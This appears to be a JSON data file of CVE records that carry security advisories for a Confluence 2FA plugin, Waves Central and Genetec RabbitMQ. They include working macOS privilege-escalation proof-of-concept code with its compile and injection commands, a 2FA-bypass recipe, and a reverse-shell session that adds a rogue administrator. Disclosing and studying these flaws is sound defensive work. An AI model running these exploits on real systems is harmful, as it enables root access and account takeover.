efficient but\nuser friendly without any external 2-factor systems\"\n\nSource:https://marketplace.atlassian.com/apps/1214491/secure-login-2fa-for-confluence?hosting=datacenter\u0026tab=overview\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\nMore details can be found at the end of this advisory.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Broken Access Control allows 2FA bypass (CVE-2026-12225)\n\"Secure Login (2FA) for Confluence\" by Syracom AG is a plugin which allows\nadministrators to integrate a 2FA workflow into their Confluence instance.\nThe plugin contains a broken access control vulnerability that allows an\nattacker to bypass the Two-Factor Authentication process with any account by\nusing a specific user agent in their HTTP requests.\n\nWhen bypassing the 2FA flow, an attacker can access the entire page and all\nsettings even though the 2FA plugin should block every request for web\ndirectories that are not included in its allowlist.\n\nIn the worst case this can be abused to make administrative changes to the\nConfluence instance, like deactivating the 2FA plugin entirely,\nand making arbitrary administrative changes.\n\nThis vulnerability is present as the plugin contains a vulnerable code branch\nif it encounters specific user agents, such as the Confluence mobile app user\nagent. For each request in which such a specific user agent is present,\nthe 2FA plugin does not enforce any 2FA at all.\n\nAs a precondition for the successful exploitation of this vulnerability an\nattacker requires valid credentials of a victim user account.\nFor example, through a password leak or phishing.\n\n\nProof of concept:\n-----------------\n1) Broken Access Control allows 2FA bypass (CVE-2026-12225)\nIn order to exploit this issue a maliciously crafted user agent, which\ncontains the string \"AtlassianMobileApp\" or \"JIRA\" needs to be set.\nPlease note that all following PoC requests must contain this string within\nthe user agent of the HTTP request.\nFurthermore, in the PoC it is assumed that the attacker has access to the\ncredentials of an administrative account. However, please note that bypassing\nthe 2FA requirement is possible for accounts of any role.\n\na) The attacker logs into the application with the username and password\nof a victim. Due to the specific user agent, the 2FA page is not displayed\nto the user:\n\u003cinitial_login.png\u003e\n\nb) The attacker can view the 2FA secret of their current user by accessing the following URL:\nhttp:// localhost:8090/plugins/servlet/twofactor/userprofile\n\n\u003csecure_login_profile.png\u003e\n\nThe plaintext secret on the user page alone would allow bypassing\nany further 2FA requirements.\n\nc) The maliciously crafted user agent also allows the attacker to access\nadministrative pages and the Confluence WebSudo page (WebSudo starts a secure\nadministration session and is required for many administrative actions).\n   \u003caccess_configuration_from_dashboard.png\u003e\n   \u003cwebsudo.png\u003e\n\nd) At this point, the attacker can disable the 2FA plugin through the\nmanagement API. This can be done through the UI, as seen in the screenshots\ndown below, or by calling the following REST endpoint directly:\n\n   /rest/plugins/1.0/de.syracom.confluence.plugins.securelogin-key\n\n\u003cconfluence_app_management.png\u003e\n\nThe successful exploit can be confirmed through the now disabled 2FA plugin.\n\u003capp_disabled.png\u003e\n\nThe corresponding HTTP request to disable the plugin with the maliciously\ncrafted user agent looks as follows:\n\n\u003cdisable_request.png\u003e\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 3.4.0.1\n\nAccording to the vendor, the following versions are affected:\n\n* Secure Login (2FA) - Jira = 3.4.0.x\n* Secure Login (2FA) - Confluence = 3.4.0.x\n* Secure Login (2FA) - Bitbucket = 3.4.0.0\n\n\nVendor contact timeline:\n------------------------\n2026-03-10: Vendor contacted throughatlassian-support () syracom de\n2026-03-10: Vendor confirms receipt of the advisory\n            and will investigate the vulnerability.\n2026-04-01: Inquiry about the status of the advisory review.\n2026-04-01: Vendor states that a fix is in development\n            and will be released as soon as it is ready.\n2026-04-21: Vendor informs us that the fix is still in development.\n2026-05-06: Vendor announces the advisory release on 2026-05-11.\n2026-05-08: Vendor confirms release date.\n2026-05-08: Informing vendor that our advisory will be released at\n            a later date.\n2026-05-11: Vendor releases security patch and advisory.\n2026-06-16: Release of security advisory.\n\n\nSolution:\n---------\nThe vendor provides a patched version 3.5.0.0 which can be downloaded at:\nhttps://marketplace.atlassian.com/apps/1214491/secure-login-2fa-for-confluence\n\nVendor security advisory:\nhttps://syracom-bee.atlassian.net/wiki/spaces/SL/pages/4193255427/2026-05-11+-+Secure+Login+security+advisory+-+Broken+Access+Control\n\nVendor troubleshoot article:\nhttps://syracom-bee.atlassian.net/wiki/spaces/SL/pages/4230217729/Mobile+app+login+does+not+work+with+Secure+Login\n\n\nWorkaround:\n-----------\nNot required.\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Laurentius von Oppenkowski, Timo M\u00fcller / 2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:31:16Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/16"
        },
        {
          "url": "http://blog.sec-consult.com"
        },
        {
          "url": "https://marketplace.atlassian.com/apps/1214491/secure-login-2fa-for-confluence"
        },
        {
          "url": "https://marketplace.atlassian.com/apps/1214491/secure-login-2fa-for-confluence?hosting=datacenter\u0026tab=overview"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://syracom-bee.atlassian.net/wiki/spaces/SL/pages/4193255427/2026-05-11+-+Secure+Login+security+advisory+-+Broken+Access+Control"
        },
        {
          "url": "https://syracom-bee.atlassian.net/wiki/spaces/SL/pages/4230217729/Mobile+app+login+does+not+work+with+Secure+Login"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260616-0 :: Broken Access Control in syracom AG Secure Login (2FA) for Atlassian Jira / Confluence / Bitbucket #CVE-2026-12225",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-12225",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0360",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/16",
            "automated": true,
            "contentSha256": "79a6ab4f2b50105e4aa024cdf028178bb042f97fe17965cdd549dc26fd1081bc",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-16T11:53:26Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0360"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:57Z",
    "dateUpdated": "2026-09-11T11:31:16Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0360"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Audio - Waves Central",
          "vendor": "Waves",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260609-0 \u003e\n=======================================================================\n              title: Multiple Local Privilege Escalation Vulnerabilities\n            product: Waves Audio - Waves Central\n vulnerable version: v13.0.8 - v16.6.0\n\u00a0 \u00a0 \u00a0 fixed version: v16.6.2\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-24064, CVE-2026-24065\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.waves.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-07\n                 by: Florian Haselsteiner (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Waves is the world\u2019s leading developer of audio plugins and signal processors\nfor the professional and consumer electronics audio markets. Heard on hit\nrecords, major motion pictures, and popular video games worldwide, Waves\u2019\ncutting-edge software and hardware processors are used in every aspect of\naudio production, from tracking to mixing to mastering, broadcast, live sound,\nand more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS,\nand AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts.\"\n\nSource:https://www.waves.com/about-us\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nWaves Central provides a \"PrivilegedHelperTool\" during installation.\nIt uses the \"InstlHelperApplication\" located at the following path\nto connect to the privileged helper tool via XPC:\n/Applications/Waves\\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/\n\nIt was found that the \"InstlHelperApplication\" was signed with the\nentitlements \"com.apple.security.cs.allow-dyld-environment-variables\" and\n\"com.apple.security.cs.disable-library-validation\" which together allow to inject\nunsigned libraries into the process and therefore inheriting the code signature.\n\n----------------------------------------------------------------------\n% codesign -dvv --entitlements -  /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nExecutable=/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nIdentifier=com.waves.central.InstlHelperApplication\nFormat=app bundle with Mach-O universal (x86_64 arm64)\nCodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded\nSignature size=8956\nAuthority=Developer ID Application: Waves Inc (GT6E3XD798)\nAuthority=Developer ID Certification Authority\nAuthority=Apple Root CA\nTimestamp=12.02.2023 at 19:37:53\nInfo.plist entries=32\nTeamIdentifier=GT6E3XD798\nRuntime Version=11.1.0\nSealed Resources version=2 rules=13 files=5\nInternal requirements count=1 size=200\n[Dict]\n        [Key] com.apple.security.inherit\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.network.client\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.network.server\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.bookmarks.app-scope\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.disable-library-validation\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.bookmarks.document-scope\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.user-selected.read-write\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.personal-information.addressbook\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.allow-dyld-environment-variables\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.allow-unsigned-executable-memory\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.disable-executable-page-protection\n        [Value]\n                [Bool] true\n----------------------------------------------------------------------\nBy inheriting the code signature an attacker, who injects a malicious\nlibrary into the application, is able to abuse the signature of the\nInstlHelperApplication to connect to the privileged helper tool via\nits exposed mach service \"com.waves.central.InstlHelper\".\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nIt was found that the XPC service \"com.waves.central.InstlHelper\", offered\nby the privileged helper, uses the connecting client\u0027s PID to check its\ncode signature. This is insecure and can be attacked using a PID reuse\nattack, which will trick the service into thinking the connecting client\nhas a valid code signature.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nThe attacker can abuse the function \"executeIrlFileWithPath\" offered by\nthe privileged helper to get code execution as root.\nTo demonstrate this the following dynamic library has been developed.\nAfter loading the library, \"executeIrlFileWithPath\" is triggered\nto execute /tmp/lol which is basically a shell script:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n//gcc -dynamiclib name\n#include \u003cstdio.h\u003e\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n                       homeDir:(NSString *)homeDir\n                        asUser:(id)asUser\n                    completion:(void (^)(id result))completion;\n\n//executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion: \n(__C.NSNumber) -\u003e ()) -\u003e ()\n\n@end\n\n__attribute__((constructor))\nstatic void myconstructor(int argc, const char **argv)\n{\n        \n    NSXPCConnection *conn =\n        [[NSXPCConnection alloc]\n            initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n            options:NSXPCConnectionPrivileged];\n\n    conn.remoteObjectInterface =\n        [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n    [conn resume];\n\n    id\u003cHelperProtocol\u003e proxy =\n        [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n            NSLog(@\"XPC error: %@\", error);\n        }];\n\n    [proxy getVersionWithCompletion:^(id version) {\n        NSLog(@\"Version: %@\", version);\n    }];\n    [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n                       homeDir:@\"/tmp\"\n                        asUser:@\"root\"\n                    completion:^(id result){\n                        NSLog(@\"Execution result: %@\", result);}];\n        [[NSRunLoop currentRunLoop] run];\n\n----------------------------------------------------------------------\n\nThis code can be compiled using the following command:\nclang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm\n\nAfter loading the library, /tmp/lol is created as described above:\ncat /tmp/lol\n/bin/bash -c \"touch /etc/pwnedbytmp\"\n\nIt can then be loaded into the injectable XPC client InstlHelperApplication:\n\nDYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nTo exploit this issue an attacker can abuse the insecure client validation via\nPID to gain access to the corresponding NSXPC functions via XPC.\nThe \"executeIrlFileWithPath\" function can be exploited to gain code execution\nas root. The following Objective C PoC code was created:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n#include \u003cspawn.h\u003e\n#include \u003csys/stat.h\u003e\n\n#define RACE_COUNT 32\n#define BINARY \"/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\"\n\n// allow fork() between exec()\nasm(\".section __DATA,__objc_fork_ok\\n\"\n\"empty:\\n\"\n\".no_dead_strip empty\\n\");\n\nextern char **environ;\n\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n                       homeDir:(NSString *)homeDir\n                        asUser:(id)asUser\n                    completion:(void (^)(id result))completion;\n@end\n\nvoid child() {\n\n    // send the XPC messages\n    NSXPCConnection *conn =\n        [[NSXPCConnection alloc]\n            initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n            options:NSXPCConnectionPrivileged];\n\n    conn.remoteObjectInterface =\n        [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n    [conn resume];\n\n    id\u003cHelperProtocol\u003e proxy =\n        [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n            NSLog(@\"XPC error: %@\", error);\n        }];\n\n    [proxy getVersionWithCompletion:^(id version) {\n        NSLog(@\"Version: %@\", version);\n    }];\n    [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n                       homeDir:@\"/tmp\"\n                        asUser:@\"root\"\n                    completion:^(id result){\n                        NSLog(@\"Execution result: %@\", result);}];\n\n    char target_binary[] = BINARY;\n    char *target_argv[] = {target_binary, NULL};\n    posix_spawnattr_t attr;\n    posix_spawnattr_init(\u0026attr);\n    short flags;\n    posix_spawnattr_getflags(\u0026attr, \u0026flags);\n    flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);\n    posix_spawnattr_setflags(\u0026attr, flags);\n    posix_spawn(NULL, target_binary, NULL, \u0026attr, target_argv, environ);\n}\n\nbool create_nstasks() {\n\n    NSString *exec = [[NSBundle mainBundle] executablePath];\n    NSTask *processes[RACE_COUNT];\n\n    for (int i = 0; i \u003c RACE_COUNT; i++) {\n        processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @\"imanstask\" ]];\n    }\n\n    int i = 0;\n    struct timespec ts = {\n        .tv_sec = 0,\n        .tv_nsec = 500 * 1000000,\n    };\n\n    nanosleep(\u0026ts, NULL);\n    if (++i \u003e 4) {\n        for (int i = 0; i \u003c RACE_COUNT; i++) {\n            [processes[i] terminate];\n        }\n        return false;\n    }\n\n    return true;\n}\n\nint main(int argc, const char * argv[]) {\n\n    if(argc \u003e 1) {\n    // called from the NSTasks\n        child();\n\n    } else {\n        NSLog(@\"Starting the race\");\n        create_nstasks();\n    }\n\n    return 0;\n}\n----------------------------------------------------------------------\n\nThis can be compiled using gcc with the following command:\ngcc -o exploit_waves_pid -framework Foundation exploit_pid.m\n\nAfter creating the file /tmp/lol accordingly the binary can be run and the\nhelper will execute /tmp/lol as root.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 16.1.6.244088\n\n\nVendor contact timeline:\n------------------------\n2026-01-21: Contacting vendor throughhttps://www.waves.com/contact-us\n2026-01-22: Response by vendor, stating they will provide PGP keys for encrypted\n            communication as well as dedicated security email address.\n2026-01-27: Asking for the encryption details.\n2026-01-28: Vendor provides PGP key.\n2026-01-29: Submitting encrypted advisory to vendor.\n2026-02-04: Vendor had troubles decrypting the advisory. It was sent unencrypted\n            upon request.\n2026-02-18: Ven"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:30:12Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/6"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://www.waves.com"
        },
        {
          "url": "https://www.waves.com/about-us"
        },
        {
          "url": "https://www.waves.com/contact-us"
        },
        {
          "url": "https://www.waves.com/downloads/central"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/6"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260609-0 :: Multiple Local Privilege Escalation Vulnerabilities in Waves Audio - Waves Central",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-24064",
              "type": "related"
            },
            {
              "destId": "CVE-2026-24065",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0364",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/6",
            "automated": true,
            "contentSha256": "a7eb0019ad78c21843df53cc6f5258f488de744f24b3dfb2adbfac8a6c798f2d",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/6",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-09T06:50:33Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0364"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T11:30:12Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0364"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "RabbitMQ in multiple Genetec products",
          "vendor": "Genetec",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260608-0 \u003e\n=======================================================================\n              title: Privilege Escalation via Binary Planting\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Genetec-provided RabbitMQ in multiple Genetec products\n vulnerable version: Multiple products, see below.\n\u00a0 \u00a0 \u00a0 fixed version: Multiple products, see below.\n         CVE number: CVE-2026-25112\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: High\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0homepage:https://www.genetec.com/products/unified-security/security-center\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-03-02\n                 by: Johannes Kruchem (Office Vienna)\n                     Christian Hager (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Leading technology provider of business intelligence, unified physical\nsecurity, public safety, and operations. Genetec develops open-platform\nsoftware, hardware, and cloud-based services for the physical security\nand public safety industry. Its flagship product, Security Center,\nunifies IP-based video surveillance, access control, and automatic\nlicense plate recognition (ALPR) into one platform. A global innovator\nsince 1997, Genetec is headquartered in Montreal, Canada, and serves\nenterprise and government organizations via an integrated network of\nresellers, integrators, and consultants in over 159 countries. Genetec\nwas founded on the principle of innovation and remains at the forefront\nof emerging technologies that unify physical security systems.\"\n\nSource:https://www.linkedin.com/company/genetec/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch for multiple affected products which should\nbe installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via Binary Planting (CVE-2026-25112)\nThe installation of RabbitMQ using Genetec Security Center installer\ncreates a directory `C:\\ProgramData\\Genetec\\RabbitMQ` writable for any\nauthenticated user. The `erl.exe` now frequently tries to execute the\nnot existing `handle.exe` from this directory as\n`NT AUTHORITY\\LOCAL SERVICE`. Placing a malicious `handle.exe` in\n`C:\\ProgramData\\Genetec\\RabbitMQ` almost immediately invokes the `handle.exe`.\nSince the LOCAL SERVICE user has `SeImpersonatePrivilege`, rotten potato attacks\nlead to privilege escalation to SYSTEM.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via Binary Planting (CVE-2026-25112)\nExploiting the LPE requires that RabbitMQ is installed via the Genetec Security\nCenter installer.\n\nThe \"erl.exe\" is looking for the executable \"handle.exe\" within the path\nC:\\ProgramData\\Genetec\\RabbitMQ, which does not exist. As the executable\nerl.exe is running in the context of NT AUTHORITY\\LOCAL SERVICE, the executable\nhandle.exe would also be executed in the same context. The path\nC:\\ProgramData\\Genetec\\RabbitMQ is writable for all users, which allows inserting\nmalicious executables as handle.exe. Planting an executable exploiting\nRotten Potato as handle.exe into C:\\ProgramData\\Genetec\\RabbitMQ leads to privilege\nescalation due to the enabled SeImpersonatePrivilege leading to SYSTEM.\n\n[ genetec_handle_exe.png ]\nFigure 1: Process explorer showing handle.exe calls\n\n[ genetec_reverse_shell_whoami_priv.png ]\nFigure 2: Established reverse shell, showing privileges including SeImpersonatePrivilege\n\n\nThe following listing shows the successful exploitation:\n------------------------------------\nPS C:\\Users\\...\\Client\u003e .\\client.exe\n[+] Listening on 0.0.0.0:9999 ...\n[+] Waiting for incoming reverse shell connection ...\n\n[+] Connection from 127.0.0.1:54674\n[+] Shell session active \u00d4\u00c7\u00f4 type commands (exit to quit)\n----------------------------------------------------\n\nMicrosoft Windows [Version 10.0.26200.7840]\n(c) Microsoft Corporation. All rights reserved.\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e SigmaPotato.exe\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e whoami\nnt authority\\system\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e net user privesc [redacted] /ADD\nThe command completed successfully.\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e net localgroup Administrators privesc /ADD\nThe command completed successfully.\n\nC:\\ProgramData\\Genetec\\RabbitMQ\u003e net localgroup Administrators\nAlias name Administrators\nComment Administrators have complete and unrestricted access to the computer/domain\n\nMembers\n\n-------------------------------------------------------------------------------\nAdministrator\nprivesc\nThe command completed successfully.\n------------------------------------\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following product has been tested by SEC Consult:\n* Genetec Mission Control\n\nThe following products were affected as well according to the vendor:\n\n* Genetec-provided RabbitMQ (\u003c v3.13.7.19)\n* Genetec Mission Control\u2122 (\u003c v3.4.1.0)\n* Genetec Industrial IoT (IIoT) \u2014 5.x line (\u003c v5.5.118.0)\n* Genetec Industrial IoT (IIoT) \u2014 6.x line (\u003c v6.0.196.0)\n* Genetec Airport Operational Manager (AOM) (\u003c v1.6)\n* Genetec Restricted Security Area (RSA) Surveillance (\u003c v5.2.1)\n* Genetec Inter-System (IS) Gateway (\u003c v1.2)\n* Sipelia\u2122 (\u003c v2.11)\n\nAll other Genetec products are not affected.\n\n\nVendor contact timeline:\n------------------------\n2026-03-03: Contacting vendor through Genetec PSIRT (security () genetec com)\n2026-03-03: Confirmed receipt by Genetec\n2026-03-10: Vendor confirmed vulnerability. Responded already with assigned\n            CVE-2026-25112.\n2026-03-12: Thanking vendor for professional and quick response. Asking for the\n            patch development timeline.\n2026-03-12: Vendor responds that their SLO is 60 days for high-severity issues.\n            RabbitMQ prior to 4.2.3 is affected, used by multiple Genetec producs.\n            Vendor will also provide a workaround if immediate update is not possible.\n2026-03-13: Confirming alignment of coordinated advisory disclosure, asking for a list\n            of affected products.\n2026-03-13: Comprehensive list will be shared when all details are finalized.\n2026-03-25: Vendor informs us that they are still actively working on it.\n2026-04-07: Vendor informs us that they are still actively working on it.\n2026-04-21: Vendor informs us that they are still actively working on it.\n2026-04-23: Asking whether affected products are already known. Vendor will\n            provide additional information when patched versions are confirmed.\n2026-05-22: Vendor provides detailed list of affected products and version\n            numbers as well as hot fix information \u0026 workaround. The CVE\n            will be published on 25th May.\n2026-05-26: Informing vendor that we will publish in in June because of public\n            holidays.\n            Vendor provides published CVE URL as well as advisory.\n2026-06-03: Informing vendor about planned SEC Consult advisory release for 8th June.\n2026-06-08: Coordinated release of advisory.\n\n\nSolution:\n---------\nThe vendor provides updated versions for multiple products as well as a hotfix.\n\n* For new deployments, Genetec-provided RabbitMQ 3.13.7.19 is available.\n  New deployments can use the Genetec-provided RabbitMQ 3.13.7.19 standalone installer\n  safely without needing to run the mitigation utility.\n\n* For existing deployments, customers running an affected version should execute\n  the mitigation utility (SecurityUtility_CVE-2026-25112_RabbitMQ.exe) available in GTAP\n  as soon as possible.\n\nGenetec provided the following software versions which mitigate the issue:\n\n* Genetec-provided RabbitMQ (3.13.7.19 and later)\n* Genetec Mission Control\u2122 (3.4.1.0 and later)\n* Genetec Industrial IoT (IIoT) \u2014 5.x line (5.5.118.0 and later)\n* 